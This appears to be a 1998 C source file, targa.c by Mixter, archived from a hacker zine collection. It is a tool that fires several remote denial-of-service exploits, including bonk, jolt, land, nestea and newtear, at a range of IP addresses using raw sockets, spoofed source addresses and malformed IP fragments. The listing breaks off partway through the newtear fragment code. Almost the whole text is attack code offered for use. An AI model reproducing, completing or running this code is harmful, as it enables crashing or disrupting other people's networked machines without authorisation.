home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / targa.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  34KB  |  1,172 lines

  1. /* targa.c - copyright by Mixter <mixter@gmx.net>
  2.    version 1.0 - released 6/24/98 - interface to 8
  3.    multi-platform remote denial of service exploits 
  4.  
  5.    [ http://www.rootshell.com/ ]
  6.  
  7.  */
  8.  
  9. /* gcc -O2 targa.c -o targa ; strip targa
  10.    _Should_ compile on: Linux 2.0.x 2.1.x, SunOS 5.x,
  11.    Most BSD's (with FIX(n) redefined!) */
  12.  
  13. /* parts of code copyrighted by their original authors */
  14.  
  15. /* bonk by route|daemon9 & klepto
  16.  * jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)
  17.  * land by m3lt
  18.  * nestea by humble & ttol
  19.  * newtear by route|daemon9
  20.  * syndrop by PineKoan
  21.  * teardrop by route|daemon9
  22.  * winnuke by _eci */
  23.  
  24. /* these are user definable */
  25. #define LANDPORT "113"        /* remote port for land's */
  26. #define LANDREP 5        /* repeat land attack x times */
  27. #define JOLTREP 15        /* repeat jolt attack x times */
  28. #define BONKREP 15        /* repeat bonk attack x times */
  29. #define COUNT   0x15        /* repeat frag attacks x times */
  30. #define NESCOUNT  500        /* repeat nestea attack x times */
  31. #define WNUKEPORT 139        /* port for winnukes */
  32. #define WNUKEREP 1        /* repeat winnuke x times */
  33.  
  34. #include <stdio.h>
  35. #include <stdlib.h>
  36. #include <string.h>
  37. #include <time.h>
  38. #include <unistd.h>
  39. #include <arpa/inet.h>
  40. #include <netdb.h>
  41. #include <netinet/in.h>
  42. #include <netinet/in_systm.h>
  43. #include <netinet/ip.h>
  44. #include <netinet/ip_icmp.h>
  45. #include <netinet/ip_tcp.h>
  46. #include <netinet/ip_udp.h>
  47. #include <netinet/protocols.h>
  48. #include <netinet/udp.h>
  49. #include <sys/socket.h>
  50. #include <sys/time.h>
  51. #include <sys/types.h>
  52. #define FIX(n)  htons(n)    /* define this to (n), if using BSD */
  53. #define IPH     0x14        /* IP header size */
  54. #define UDPH    0x8        /* UDP header size */
  55. #define IP_MF   0x2000        /* Fragmention offset */
  56. #define MAGIC   0x3        /* Teardrop Magic fragmentation constant (tm) */
  57. #define MAGIC2  108        /* Nestea Magic fragmentation constant (tm) */
  58. #define NESPADDING 256        /* Padding for Nestea */
  59. #define PADDING 0x14        /* Padding for other frag's */
  60. #define TCPH    sizeof(struct tcphdr)    /* TCP header size (nestea) */
  61. #define TPADDING 0x1c        /* Padding for original teardrop */
  62.  
  63. /* main() - user interface & some functions */
  64.  
  65. struct ipstuph
  66.   {
  67.     int p1;
  68.     int p2;
  69.     int p3;
  70.     int p4;
  71.   }
  72. startip, endip;
  73.  
  74. void targa (u_char *);
  75. u_long leet_resolve (u_char *);
  76. u_short in_cksum (u_short *, int);
  77.  
  78. int 
  79. main (int argc, char **argv)
  80. {
  81.   int one = 1, count = 1, i, j, rip_sock, bequiet = 0, dostype = 0;
  82.   u_long src_ip = 0;
  83.   u_short src_prt = 0, dst_prt = 0;
  84.   char hit_ip[18], dst_ip2[18], dst_ip[4096];
  85.   struct in_addr addr;
  86.  
  87.   fprintf (stderr, "\t\ttarga 1.0 by Mixter\n");
  88.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  89.     {
  90.       perror ("cannot open raw socket");
  91.       exit (1);
  92.     }
  93.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  94.       < 0)
  95.     {
  96.       perror ("IP_HDRINCL");
  97.       exit (1);
  98.     }
  99.   if (argc < 3)
  100.     targa (argv[0]);
  101.   strcpy (dst_ip, argv[1]);
  102.   strcpy (dst_ip2, argv[2]);
  103.   if (sscanf (argv[1], "%d.%d.%d.%d", &startip.p1, &startip.p2, &startip.p3, &startip.p4) != 4)
  104.     {
  105.       fprintf (stderr, "Error, %s: Please use a start IP containing 4 zones\n", argv[1]);
  106.       exit (1);
  107.     }
  108.   if (startip.p1 > 255)
  109.     {
  110.       fprintf (stderr, "Zone 1 of start ip is incorrect (greater than 255)\n");
  111.       exit (1);
  112.     }
  113.   if (startip.p2 > 255)
  114.     {
  115.       fprintf (stderr, "Zone 2 of start ip is incorrect (greater than 255)\n");
  116.       exit (1);
  117.     }
  118.   if (startip.p3 > 255)
  119.     {
  120.       fprintf (stderr, "Zone 3 of start ip is incorrect (greater than 255)\n");
  121.       exit (1);
  122.     }
  123.   if (startip.p4 > 255)
  124.     {
  125.       fprintf (stderr, "Zone 4 of start ip is incorret (greater than 255)\n");
  126.       exit (1);
  127.     }
  128.   if (sscanf (argv[2], "%d.%d.%d.%d", &endip.p1, &endip.p2, &endip.p3, &endip.p4) != 4)
  129.     {
  130.       fprintf (stderr, "Error, %s: Please use an end IP containing 4 zones\n", argv[2]);
  131.       exit (1);
  132.     }
  133.   if (endip.p1 > 255)
  134.     {
  135.       fprintf (stderr, "Zone 1 of end ip is incorrect (greater than 255)\n");
  136.       exit (1);
  137.     }
  138.   if (endip.p2 > 255)
  139.     {
  140.       fprintf (stderr, "Zone 2 of end ip is incorrect (greater than 255)\n");
  141.       exit (1);
  142.     }
  143.   if (endip.p3 > 255)
  144.     {
  145.       fprintf (stderr, "Zone 3 of end ip is incorrect (greater than 255)\n");
  146.       exit (1);
  147.     }
  148.   if (endip.p4 > 255)
  149.     {
  150.       fprintf (stderr, "Zone 4 of end ip is incorrect (greater than 255)\n");
  151.       exit (1);
  152.     }
  153.   if (startip.p1 != endip.p1)
  154.     {
  155.       fprintf (stderr, "Zone 1 of start ip and end ip is different\n");
  156.       exit (1);
  157.     }
  158.   if (startip.p2 != endip.p2)
  159.     {
  160.       fprintf (stderr, "Zone 2 of start ip and end ip is different\n");
  161.       exit (1);
  162.     }
  163.   if (startip.p3 != endip.p3)
  164.     {
  165.       fprintf (stderr, "Zone 3 of start ip and end ip is different\n");
  166.       exit (1);
  167.     }
  168.   while ((i = getopt_long (argc, argv, "t:n:h")) != EOF)
  169.     {
  170.       switch (i)
  171.     {
  172.     case 't':
  173.       dostype = atoi (optarg);    /* type of DOS */
  174.       break;
  175.     case 'n':        /* number to send */
  176.       count = atoi (optarg);
  177.       break;
  178.     case 'h':        /* quiet mode */
  179.       targa_help (argv[0]);
  180.       break;
  181.     default:
  182.       targa (argv[0]);
  183.       break;        /* NOTREACHED */
  184.     }
  185.     }
  186.   srandom ((unsigned) (time ((time_t) 0)));
  187.   fprintf (stderr, "Leetness on f1laxen wings:\n");
  188.   fprintf (stderr, "To%s - %s\n", dst_ip,
  189.        dst_ip2);
  190.   fprintf (stderr, "Repeats%5d\n", count);
  191.   fprintf (stderr, "   Type%5d\n", dostype);
  192.  
  193.   for (j = startip.p4; j <= endip.p4; j++)
  194.     {
  195.       sprintf (hit_ip, "%d.%d.%d.%d", startip.p1, startip.p2, startip.p3, j);
  196.       fprintf (stderr, "%s ", hit_ip);
  197.       for (i = 0; i < count; i++)
  198.     {
  199.       hax0r (hit_ip, dostype);
  200.       usleep (10);
  201.     }
  202.       fprintf (stderr, " ]\n");
  203.     }
  204.   fprintf (stderr, "\t-all done-\n");
  205.   return (0);
  206. }
  207. int 
  208. hax0r (char *vm, int te)
  209. {
  210. /* beginning of hardcoded ereetness :P */
  211.   if (te == 1 || te == 0)
  212.     bonk (vm);
  213.   if (te == 2 || te == 0)
  214.     jolt (vm);
  215.   if (te == 3 || te == 0)
  216.     land (vm);
  217.   if (te == 4 || te == 0)
  218.     nestea (vm);
  219.   if (te == 5 || te == 0)
  220.     newtear (vm);
  221.   if (te == 6 || te == 0)
  222.     syndrop (vm);
  223.   if (te == 7 || te == 0)
  224.     teardrop (vm);
  225.   if (te == 8 || te == 0)
  226.     winnuke (vm);
  227.   return (31337);
  228. }
  229. u_long 
  230. leet_resolve (u_char * host_name)
  231. {
  232.   struct in_addr addr;
  233.   struct hostent *host_ent;
  234.  
  235.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  236.     {
  237.       if (!(host_ent = gethostbyname (host_name)))
  238.     return (0);
  239.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  240.     }
  241.   return (addr.s_addr);
  242. }
  243. void 
  244. targa (u_char * name)
  245. {
  246.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  247.   fprintf (stderr, "\ttype %s - -h to get more help\n", name);
  248.   exit (0);
  249. }
  250. int 
  251. targa_help (u_char * name)
  252. {
  253.   fprintf (stderr, "usage: %s <startIP> <endIP> [-t type] [-n repeats]\n", name);
  254.   fprintf (stderr, "startIP - endIP: IP range to send packets to (destination)\n");
  255.   fprintf (stderr, "start and end must be on the same C class (1.1.1.X)\n");
  256.   fprintf (stderr, "repeats: repeat the whole cycle n times (default is 1)\n");
  257.   fprintf (stderr, "type: kind of remote DoS to send (default is 0)\n");
  258.   fprintf (stderr, "1 = bonk ($)  2 = jolt (@)  3 = land (-)\n");
  259.   fprintf (stderr, "4 = nestea (.)  5 = newtear (#)\n");
  260.   fprintf (stderr, "6 = syndrop (&)  7 = teardrop (%%)  8 = winnuke (*)\n");
  261.   fprintf (stderr, "0 = use all remote DoS types at once\n");
  262.   exit (0);
  263. }
  264.  
  265. /* bonk(destination) */
  266.  
  267. struct udp_pkt
  268. {
  269.   struct iphdr ip;
  270.   struct udphdr udp;
  271.   char data[0x1c];
  272. }
  273. pkt;
  274.  
  275. int udplen = sizeof (struct udphdr), iplen = sizeof (struct iphdr), datalen = 100,
  276.   psize = sizeof (struct udphdr) + sizeof (struct iphdr) + 0x1c, spf_sck;    /* Socket */
  277.  
  278. u_long 
  279. host_to_ip (char *host_name)
  280. {
  281.   static u_long ip_bytes;
  282.   struct hostent *res;
  283.   res = gethostbyname (host_name);
  284.   if (res == NULL)
  285.     return (0);
  286.   memcpy (&ip_bytes, res->h_addr, res->h_length);
  287.   return (ip_bytes);
  288. }
  289.  
  290. void 
  291. quit (char *reason)
  292. {
  293.   perror (reason);
  294.   close (spf_sck);
  295.   exit (-1);
  296. }
  297.  
  298. int 
  299. fondle (int sck, u_long src_addr, u_long dst_addr, int src_prt,
  300.     int dst_prt)
  301. {
  302.   int bs;
  303.   struct sockaddr_in to;
  304.  
  305.   memset (&pkt, 0, psize);
  306.   /* Fill in ip header */
  307.   pkt.ip.version = 4;
  308.   pkt.ip.ihl = 5;
  309.   pkt.ip.tot_len = htons (udplen + iplen + 0x1c);
  310.   pkt.ip.id = htons (0x455);
  311.   pkt.ip.ttl = 255;
  312.   pkt.ip.protocol = IP_UDP;
  313.   pkt.ip.saddr = src_addr;
  314.   pkt.ip.daddr = dst_addr;
  315.   pkt.ip.frag_off = htons (0x2000);    /* more to come */
  316.  
  317.   pkt.udp.source = htons (src_prt);    /* udp header */
  318.   pkt.udp.dest = htons (dst_prt);
  319.   pkt.udp.len = htons (8 + 0x1c);
  320.   /* send 1st frag */
  321.  
  322.   to.sin_family = AF_INET;
  323.   to.sin_port = src_prt;
  324.   to.sin_addr.s_addr = dst_addr;
  325.  
  326.   bs = sendto (sck, &pkt, psize, 0, (struct sockaddr *) &to,
  327.            sizeof (struct sockaddr));
  328.  
  329.   pkt.ip.frag_off = htons (0x3 + 1);    /* shinanigan */
  330.   pkt.ip.tot_len = htons (iplen + 0x3);
  331.   /* 2nd frag */
  332.  
  333.   bs = sendto (sck, &pkt, iplen + 0x3 + 1, 0,
  334.            (struct sockaddr *) &to, sizeof (struct sockaddr));
  335.  
  336.   return bs;
  337. }
  338.  
  339. int 
  340. bonk (char *bonk_host)
  341. {
  342.   u_long src_addr, dst_addr;
  343.   int i, src_prt = 53, dst_prt = 53, bs = 1, pkt_count = BONKREP;
  344.   dst_addr = host_to_ip (bonk_host);
  345.   if (!dst_addr)
  346.     quit ("bad target host");
  347.   spf_sck = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
  348.   if (!spf_sck)
  349.     quit ("socket()");
  350.   if (setsockopt (spf_sck, IPPROTO_IP, IP_HDRINCL, (char *) &bs,
  351.           sizeof (bs)) < 0)
  352.     quit ("IP_HDRINCL");
  353.   for (i = 0; i < pkt_count; ++i)
  354.     {
  355.       fondle (spf_sck, rand (), dst_addr, src_prt, dst_prt);
  356.       fprintf (stderr, "$");
  357.       usleep (10000);
  358.     }
  359. }
  360.  
  361. /* jolt(destination) */
  362.  
  363. int 
  364. jolt (char *jolt_host)
  365. {
  366.   int s, i;
  367.   char buf[400];
  368.   struct ip *ip = (struct ip *) buf;
  369.   struct icmphdr *icmp = (struct icmphdr *) (ip + 1);
  370.   struct hostent *hp, *hp2;
  371.   struct sockaddr_in dst;
  372.   int offset;
  373.   int on = 1;
  374.   int num = JOLTREP;
  375.  
  376.   bzero (buf, sizeof buf);
  377.  
  378.   if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  379.     {
  380.       perror ("socket");
  381.       exit (1);
  382.     }
  383.   if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, &on, sizeof (on)) < 0)
  384.     {
  385.       perror ("IP_HDRINCL");
  386.       exit (1);
  387.     }
  388.   for (i = 1; i <= num; i++)
  389.     {
  390.  
  391.       if ((hp = gethostbyname (jolt_host)) == NULL)
  392.     {
  393.       if ((ip->ip_dst.s_addr = inet_addr (jolt_host)) == -1)
  394.         {
  395.           fprintf (stderr, "%s: unknown host\n", jolt_host);
  396.           exit (1);
  397.         }
  398.     }
  399.       else
  400.     {
  401.       bcopy (hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
  402.     }
  403.  
  404.       ip->ip_src.s_addr = rand ();
  405.       fprintf (stderr, "@");
  406.       inet_ntoa (ip->ip_dst);
  407.       ip->ip_v = 4;
  408.       ip->ip_hl = sizeof *ip >> 2;
  409.       ip->ip_tos = 0;
  410.       ip->ip_len = htons (sizeof buf);
  411.       ip->ip_id = htons (4321);
  412.       ip->ip_off = htons (0);
  413.       ip->ip_ttl = 255;
  414.       ip->ip_p = 1;
  415.       ip->ip_csum = 0;        /* kernel fills in */
  416.  
  417.       dst.sin_addr = ip->ip_dst;
  418.       dst.sin_family = AF_INET;
  419.  
  420.       icmp->type = ICMP_ECHO;
  421.       icmp->code = 0;
  422.       icmp->checksum = htons (~(ICMP_ECHO << 8));
  423.       for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip))
  424.     {
  425.       ip->ip_off = htons (offset >> 3);
  426.       if (offset < 65120)
  427.         ip->ip_off |= htons (0x2000);
  428.       else
  429.         ip->ip_len = htons (418);    /* make total 65538 */
  430.       if (sendto (s, buf, sizeof buf, 0, (struct sockaddr *) &dst,
  431.               sizeof dst) < 0)
  432.         {
  433.           fprintf (stderr, "offset %d: ", offset);
  434.           perror ("sendto");
  435.         }
  436.       if (offset == 0)
  437.         {
  438.           icmp->type = 0;
  439.           icmp->code = 0;
  440.           icmp->checksum = 0;
  441.         }
  442.     }
  443.     }
  444.   return 0;
  445. }
  446.  
  447. /* land(destination,port) */
  448.  
  449. struct pseudohdr
  450. {
  451.   struct in_addr saddr;
  452.   struct in_addr daddr;
  453.   u_char zero;
  454.   u_char protocol;
  455.   u_short length;
  456.   struct tcphdr tcpheader;
  457. };
  458.  
  459. u_short 
  460. checksum (u_short * data, u_short length)
  461. {
  462.   register long value;
  463.   u_short i;
  464.  
  465.   for (i = 0; i < (length >> 1); i++)
  466.     value += data[i];
  467.  
  468.   if ((length & 1) == 1)
  469.     value += (data[i] << 8);
  470.  
  471.   value = (value & 65535) + (value >> 16);
  472.  
  473.   return (~value);
  474. }
  475.  
  476. int 
  477. land (char *land_host)
  478. {
  479.   struct sockaddr_in sin;
  480.   struct hostent *hoste;
  481.   int sock, i;
  482.   char buffer[40];
  483.   struct iphdr *ipheader = (struct iphdr *) buffer;
  484.   struct tcphdr *tcpheader = (struct tcphdr *) (buffer + sizeof (struct iphdr));
  485.   struct pseudohdr pseudoheader;
  486.   static char *land_port = LANDPORT;
  487.   bzero (&sin, sizeof (struct sockaddr_in));
  488.   sin.sin_family = AF_INET;
  489.  
  490.   if ((hoste = gethostbyname (land_host)) != NULL)
  491.     bcopy (hoste->h_addr, &sin.sin_addr, hoste->h_length);
  492.   else if ((sin.sin_addr.s_addr = inet_addr (land_host)) == -1)
  493.     {
  494.       fprintf (stderr, "unknown host %s\n", land_host);
  495.       return (-1);
  496.     }
  497.  
  498.   if ((sin.sin_port = htons (atoi (land_port))) == 0)
  499.     {
  500.       fprintf (stderr, "unknown port %s\n", land_port);
  501.       return (-1);
  502.     }
  503.  
  504.   if ((sock = socket (AF_INET, SOCK_RAW, 255)) == -1)
  505.     {
  506.       fprintf (stderr, "couldn't allocate raw socket\n");
  507.       return (-1);
  508.     }
  509.  
  510.   bzero (&buffer, sizeof (struct iphdr) + sizeof (struct tcphdr));
  511.   ipheader->version = 4;
  512.   ipheader->ihl = sizeof (struct iphdr) / 4;
  513.   ipheader->tot_len = htons (sizeof (struct iphdr) + sizeof (struct tcphdr));
  514.   ipheader->id = htons (0xF1C);
  515.   ipheader->ttl = 255;
  516.   ipheader->protocol = IP_TCP;
  517.   ipheader->saddr = sin.sin_addr.s_addr;
  518.   ipheader->daddr = sin.sin_addr.s_addr;
  519.  
  520.   tcpheader->th_sport = sin.sin_port;
  521.   tcpheader->th_dport = sin.sin_port;
  522.   tcpheader->th_seq = htonl (0xF1C);
  523.   tcpheader->th_flags = TH_SYN;
  524.   tcpheader->th_off = sizeof (struct tcphdr) / 4;
  525.   tcpheader->th_win = htons (2048);
  526.  
  527.   bzero (&pseudoheader, 12 + sizeof (struct tcphdr));
  528.   pseudoheader.saddr.s_addr = sin.sin_addr.s_addr;
  529.   pseudoheader.daddr.s_addr = sin.sin_addr.s_addr;
  530.   pseudoheader.protocol = 6;
  531.   pseudoheader.length = htons (sizeof (struct tcphdr));
  532.   bcopy ((char *) tcpheader, (char *) &pseudoheader.tcpheader, sizeof (struct tcphdr));
  533.   tcpheader->th_sum = checksum ((u_short *) & pseudoheader, 12 + sizeof (struct tcphdr));
  534.   for (i = 0; i < LANDREP; i++)
  535.     {
  536.       if (sendto (sock, buffer, sizeof (struct iphdr) + sizeof (struct tcphdr), 0, (struct sockaddr *) &sin, sizeof (struct sockaddr_in)) == -1)
  537.     {
  538.       fprintf (stderr, "couldn't send packet\n");
  539.       return (-1);
  540.     }
  541.       fprintf (stderr, "-");
  542.     }
  543.   close (sock);
  544.   return (0);
  545. }
  546.  
  547. /* nestea(source, destination) */
  548.  
  549. u_long name_resolve (u_char *);
  550. u_short in_cksum (u_short *, int);
  551. void send_nes (int, u_long, u_long, u_short, u_short);
  552.  
  553. int 
  554. nestea (char *nes_host)
  555. {
  556.   int one = 1, count = 0, i, rip_sock;
  557.   u_long src_ip = 0, dst_ip = 0;
  558.   u_short src_prt = 0, dst_prt = 0;
  559.   struct in_addr addr;
  560.  
  561.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  562.     {
  563.       perror ("raw socket");
  564.       exit (1);
  565.     }
  566.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  567.       < 0)
  568.     {
  569.       perror ("IP_HDRINCL");
  570.       exit (1);
  571.     }
  572.   if (!(dst_ip = name_resolve (nes_host)))
  573.     {
  574.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  575.       exit (1);
  576.     }
  577.   src_ip = rand ();
  578.   srandom ((unsigned) (time ((time_t) 0)));
  579.   src_prt = (random () % 0xffff);
  580.   dst_prt = (random () % 0xffff);
  581.   count = NESCOUNT;
  582.  
  583.   addr.s_addr = src_ip;
  584.   addr.s_addr = dst_ip;
  585.   for (i = 0; i < count; i++)
  586.     {
  587.       send_nes (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  588.       fprintf (stderr, ".");
  589.       usleep (500);
  590.     }
  591.   return (0);
  592. }
  593.  
  594. void 
  595. send_nes (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  596.       u_short dst_prt)
  597. {
  598.   int i;
  599.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  600.   u_char byte;            /* a byte */
  601.   struct sockaddr_in sin;    /* socket protocol structure */
  602.  
  603.   sin.sin_family = AF_INET;
  604.   sin.sin_port = src_prt;
  605.   sin.sin_addr.s_addr = dst_ip;
  606.  
  607.   packet = (u_char *) malloc (IPH + UDPH + NESPADDING + 40);
  608.   p_ptr = packet;
  609.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  610.  
  611.   byte = 0x45;            /* IP version and header length */
  612.   memcpy (p_ptr, &byte, sizeof (u_char));
  613.   p_ptr += 2;            /* IP TOS (skipped) */
  614.   *((u_short *) p_ptr) = FIX (IPH + UDPH + 10);        /* total length */
  615.   p_ptr += 2;
  616.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  617.   p_ptr += 2;
  618.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  619.   p_ptr += 2;
  620.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  621.   byte = IPPROTO_UDP;
  622.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  623.   p_ptr += 4;            /* IP checksum filled in by kernel */
  624.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  625.   p_ptr += 4;
  626.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  627.   p_ptr += 4;
  628.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  629.   p_ptr += 2;
  630.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  631.   p_ptr += 2;
  632.   *((u_short *) p_ptr) = htons (8 + 10);    /* UDP total length */
  633.  
  634.   if (sendto (sock, packet, IPH + UDPH + 10, 0, (struct sockaddr *) &sin,
  635.           sizeof (struct sockaddr)) == -1)
  636.     {
  637.       perror ("\nsendto");
  638.       free (packet);
  639.       exit (1);
  640.     }
  641.  
  642.   p_ptr = packet;
  643.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING);
  644.  
  645.   byte = 0x45;            /* IP version and header length */
  646.   memcpy (p_ptr, &byte, sizeof (u_char));
  647.   p_ptr += 2;            /* IP TOS (skipped) */
  648.   *((u_short *) p_ptr) = FIX (IPH + UDPH + MAGIC2);    /* total length */
  649.   p_ptr += 2;
  650.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  651.   p_ptr += 2;
  652.   *((u_short *) p_ptr) = FIX (6);    /* IP frag flags and offset */
  653.   p_ptr += 2;
  654.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  655.   byte = IPPROTO_UDP;
  656.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  657.   p_ptr += 4;            /* IP checksum filled in by kernel */
  658.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  659.   p_ptr += 4;
  660.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  661.   p_ptr += 4;
  662.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  663.   p_ptr += 2;
  664.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  665.   p_ptr += 2;
  666.   *((u_short *) p_ptr) = htons (8 + MAGIC2);    /* UDP total length */
  667.  
  668.   if (sendto (sock, packet, IPH + UDPH + MAGIC2, 0, (struct sockaddr *) &sin,
  669.           sizeof (struct sockaddr)) == -1)
  670.     {
  671.       perror ("\nsendto");
  672.       free (packet);
  673.       exit (1);
  674.     }
  675.  
  676.   p_ptr = packet;
  677.   bzero ((u_char *) p_ptr, IPH + UDPH + NESPADDING + 40);
  678.   byte = 0x4F;            /* IP version and header length */
  679.   memcpy (p_ptr, &byte, sizeof (u_char));
  680.   p_ptr += 2;            /* IP TOS (skipped) */
  681.   *((u_short *) p_ptr) = FIX (IPH + UDPH + NESPADDING + 40);
  682.   p_ptr += 2;
  683.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  684.   p_ptr += 2;
  685.   *((u_short *) p_ptr) = 0 | FIX (IP_MF);    /* IP frag flags and offset */
  686.   p_ptr += 2;
  687.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  688.   byte = IPPROTO_UDP;
  689.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  690.   p_ptr += 4;            /* IP checksum filled in by kernel */
  691.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  692.   p_ptr += 4;
  693.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  694.   p_ptr += 44;
  695.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  696.   p_ptr += 2;
  697.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  698.   p_ptr += 2;
  699.   *((u_short *) p_ptr) = htons (8 + NESPADDING);    /* UDP total length */
  700.  
  701.   for (i = 0; i < NESPADDING; i++)
  702.     {
  703.       p_ptr[i++] = random () % 255;
  704.     }
  705.  
  706.   if (sendto (sock, packet, IPH + UDPH + NESPADDING, 0, (struct sockaddr *) &sin,
  707.           sizeof (struct sockaddr)) == -1)
  708.     {
  709.       perror ("\nsendto");
  710.       free (packet);
  711.       exit (1);
  712.     }
  713.   free (packet);
  714. }
  715.  
  716. u_long 
  717. name_resolve (u_char * host_name)
  718. {
  719.   struct in_addr addr;
  720.   struct hostent *host_ent;
  721.  
  722.   if ((addr.s_addr = inet_addr (host_name)) == -1)
  723.     {
  724.       if (!(host_ent = gethostbyname (host_name)))
  725.     return (0);
  726.       bcopy (host_ent->h_addr, (char *) &addr.s_addr, host_ent->h_length);
  727.     }
  728.   return (addr.s_addr);
  729. }
  730.  
  731. /* newtear(destination) */
  732.  
  733. void newt_frags (int, u_long, u_long, u_short, u_short);
  734.  
  735. int 
  736. newtear (char *newt_host)
  737. {
  738.   int one = 1, count = 0, i, rip_sock;
  739.   u_long src_ip = 0, dst_ip = 0;
  740.   u_short src_prt = 0, dst_prt = 0;
  741.   struct in_addr addr;
  742.  
  743.   if ((rip_sock = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
  744.     {
  745.       perror ("raw socket");
  746.       exit (1);
  747.     }
  748.   if (setsockopt (rip_sock, IPPROTO_IP, IP_HDRINCL, (char *) &one, sizeof (one))
  749.       < 0)
  750.     {
  751.       perror ("IP_HDRINCL");
  752.       exit (1);
  753.     }
  754.   if (!(dst_ip = name_resolve (newt_host)))
  755.     {
  756.       fprintf (stderr, "What the hell kind of IP address is that?\n");
  757.       exit (1);
  758.     }
  759.   src_ip = rand ();
  760.   srandom ((unsigned) (time ((time_t) 0)));
  761.   src_prt = (random () % 0xffff);
  762.   dst_prt = (random () % 0xffff);
  763.   count = COUNT;
  764.  
  765.   addr.s_addr = src_ip;
  766.   addr.s_addr = dst_ip;
  767.  
  768.   for (i = 0; i < count; i++)
  769.     {
  770.       newt_frags (rip_sock, src_ip, dst_ip, src_prt, dst_prt);
  771.       fprintf (stderr, "#");
  772.       usleep (500);
  773.     }
  774.   return (0);
  775. }
  776.  
  777. /*
  778.  *  Send two IP fragments with pathological offsets.  We use an implementation
  779.  *  independent way of assembling network packets that does not rely on any of
  780.  *  the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
  781.  */
  782.  
  783. void 
  784. newt_frags (int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
  785.         u_short dst_prt)
  786. {
  787.   u_char *packet = NULL, *p_ptr = NULL;        /* packet pointers */
  788.   u_char byte;            /* a byte */
  789.   struct sockaddr_in sin;    /* socket protocol structure */
  790.  
  791.   sin.sin_family = AF_INET;
  792.   sin.sin_port = src_prt;
  793.   sin.sin_addr.s_addr = dst_ip;
  794.  
  795.   /*
  796.    * Grab some memory for our packet, align p_ptr to point at the beginning
  797.    * of our packet, and then fill it with zeros.
  798.    */
  799.   packet = (u_char *) malloc (IPH + UDPH + PADDING);
  800.   p_ptr = packet;
  801.   bzero ((u_char *) p_ptr, IPH + UDPH + PADDING);    // Set it all to zero
  802.  
  803.   byte = 0x45;            /* IP version and header length */
  804.   memcpy (p_ptr, &byte, sizeof (u_char));
  805.   p_ptr += 2;            /* IP TOS (skipped) */
  806.   *((u_short *) p_ptr) = FIX (IPH + UDPH + PADDING);    /* total length */
  807.   p_ptr += 2;
  808.   *((u_short *) p_ptr) = htons (242);    /* IP id */
  809.   p_ptr += 2;
  810.   *((u_short *) p_ptr) |= FIX (IP_MF);    /* IP frag flags and offset */
  811.   p_ptr += 2;
  812.   *((u_short *) p_ptr) = 0x40;    /* IP TTL */
  813.   byte = IPPROTO_UDP;
  814.   memcpy (p_ptr + 1, &byte, sizeof (u_char));
  815.   p_ptr += 4;            /* IP checksum filled in by kernel */
  816.   *((u_long *) p_ptr) = src_ip;    /* IP source address */
  817.   p_ptr += 4;
  818.   *((u_long *) p_ptr) = dst_ip;    /* IP destination address */
  819.   p_ptr += 4;
  820.   *((u_short *) p_ptr) = htons (src_prt);    /* UDP source port */
  821.   p_ptr += 2;
  822.   *((u_short *) p_ptr) = htons (dst_prt);    /* UDP destination port */
  823.   p_ptr += 2;
  824.   *((u_short *) p_ptr) = htons (8 + PADDING * 2);    /* UDP total length *//* Increases UDP total length to 48 bytes
  825.                                Which is too big! */
  826.  
  827.   if (sendto (sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *) &sin,
  828.           sizeof (struct sockaddr)) == -1)
  829.     {
  830.       perror ("\nsendto");
  831.       free (packet);
  832.       exit (1);
  833.     }
  834.  
  835.   /*  We set the fragment offset to be inside of the previous packet's
  836.    *  payload (it overlaps inside the previous packet) but do not include
